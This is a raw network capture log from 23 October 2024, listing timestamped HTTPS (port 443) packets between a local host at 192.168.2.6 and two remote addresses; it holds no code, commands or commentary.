Oct 23, 2024 21:04:13.194988966 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.203610897 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.204046011 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.204066992 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.204523087 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.204528093 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.208148956 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.208539009 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.208553076 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.208911896 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.208915949 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.217547894 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.217701912 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.217777014 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.217948914 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.217948914 CEST	49787	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.217964888 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.217978001 CEST	443	49787	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.223536015 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.223560095 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.223767042 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.224013090 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.224029064 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.312381029 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.313260078 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.313350916 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.313405037 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.313405037 CEST	49789	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.313431025 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.313447952 CEST	443	49789	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.316201925 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.316260099 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.316507101 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.316762924 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.316786051 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.329780102 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.330303907 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.330377102 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.330466986 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.330476046 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.330491066 CEST	49791	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.330497026 CEST	443	49791	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.333106041 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.333132982 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.335402966 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.335582972 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.335599899 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.343295097 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.343456030 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.343571901 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.343664885 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.343664885 CEST	49788	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.343681097 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.343689919 CEST	443	49788	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.347037077 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.347059011 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.347229958 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.347640038 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.347651005 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.347934961 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.348666906 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.348730087 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.348866940 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.348872900 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.348881960 CEST	49790	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.348886013 CEST	443	49790	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.352190018 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.352210999 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.352596045 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.353112936 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.353132963 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.642843962 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:13.642873049 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:13.642982006 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:13.645870924 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:13.645885944 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:13.974771976 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:13.999679089 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:13.999696016 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.000821114 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.000828028 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.082762957 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.095624924 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.101620913 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.101651907 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.103162050 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.103167057 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.104083061 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.105190039 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.106056929 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.106086016 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.106914997 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.106920004 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.110964060 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.110997915 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.111923933 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.111932039 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.124185085 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.124275923 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.125447989 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.125463963 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.131731033 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.131954908 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.132019043 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.132186890 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.132225990 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.132255077 CEST	49793	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.132270098 CEST	443	49793	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.145986080 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.146018982 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.146298885 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.146548986 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.146564007 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.235862970 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.235960960 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.236011028 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.241517067 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.241529942 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.241542101 CEST	49794	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.241547108 CEST	443	49794	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.241735935 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.241910934 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.241969109 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.246478081 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.246675968 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.246730089 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.259013891 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.259191990 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.259243965 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.273701906 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.273729086 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.273746014 CEST	49795	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.273755074 CEST	443	49795	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.290371895 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.290371895 CEST	49797	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.290447950 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.290492058 CEST	443	49797	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.310945988 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.310970068 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.310981989 CEST	49796	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.310987949 CEST	443	49796	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.316189051 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.316229105 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.316447020 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.317732096 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.317744970 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.318806887 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.318849087 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.318923950 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.319013119 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.319021940 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.319854021 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.319878101 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.319946051 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.320647955 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.320683002 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.320754051 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.320954084 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.320964098 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.321772099 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.321794987 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.736144066 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:14.736243010 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:14.742006063 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:14.742016077 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:14.742311001 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:14.790894032 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:14.842423916 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:14.887336016 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:14.907012939 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.907474041 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.907490015 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:14.907943964 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:14.907948971 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.041779041 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.041940928 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.042002916 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.042115927 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.042115927 CEST	49800	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.042131901 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.042140961 CEST	443	49800	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.044665098 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.044708967 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.044835091 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.044995070 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.045008898 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.068237066 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.068789959 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.068824053 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.069088936 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.069092989 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.078397989 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.078743935 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.078768969 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.079164028 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.079171896 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.079683065 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.079718113 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.080041885 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.080049992 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.080177069 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.080195904 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.080594063 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.080606937 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.080713034 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.080718994 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.206759930 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.206782103 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.206792116 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.206803083 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.206828117 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.206857920 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.206857920 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.206877947 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.206922054 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.206942081 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.207046032 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.207333088 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.207343102 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.210974932 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.211169958 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.211216927 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.211364031 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.211364031 CEST	49805	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.211379051 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.211421967 CEST	443	49805	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.214358091 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.214394093 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.214953899 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.214992046 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.214997053 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.219181061 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.219181061 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.219197989 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.219377041 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.219408035 CEST	443	49798	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:15.219559908 CEST	49798	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:15.220566034 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.220642090 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.220662117 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.220719099 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.220720053 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.220856905 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.220976114 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.220976114 CEST	49804	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.221002102 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.221007109 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.221012115 CEST	443	49804	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.221026897 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.221040010 CEST	49803	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.221045971 CEST	443	49803	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.223938942 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.223967075 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.224054098 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.224124908 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.224143982 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.224236012 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.224347115 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.224360943 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.224600077 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.224612951 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.228770018 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.228924990 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.229037046 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.229063034 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.229074955 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.229085922 CEST	49802	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.229093075 CEST	443	49802	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.230993032 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.231009960 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.231096983 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.231223106 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.231239080 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.815515995 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.816059113 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.816085100 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.816618919 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.816625118 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.952120066 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.952271938 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.952330112 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.952486992 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.952501059 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.952512026 CEST	49808	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.952518940 CEST	443	49808	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.955013990 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.955033064 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.955100060 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.955286980 CEST	49815	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.955301046 CEST	443	49815	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.995090961 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.995861053 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.995878935 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:15.996546030 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:15.996551991 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.009371996 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.010456085 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.010467052 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.010770082 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.010776997 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.013791084 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.017102003 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.018215895 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.018238068 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.018351078 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.018361092 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.018929958 CEST	49812	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.018935919 CEST	443	49812	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.018975973 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.018986940 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.132241964 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.132296085 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.132457972 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.132695913 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.132695913 CEST	49811	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.132709026 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.132718086 CEST	443	49811	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.135574102 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.135627031 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.135708094 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.135885954 CEST	49816	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.135907888 CEST	443	49816	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.152946949 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.152982950 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.153017044 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.153081894 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.153136015 CEST	443	49809	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.153218985 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.153238058 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.153253078 CEST	49810	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.153258085 CEST	443	49810	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:16.153301001 CEST	49809	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:16.153384924 CEST	49809	443	192.168.2.6	13.107.253.45
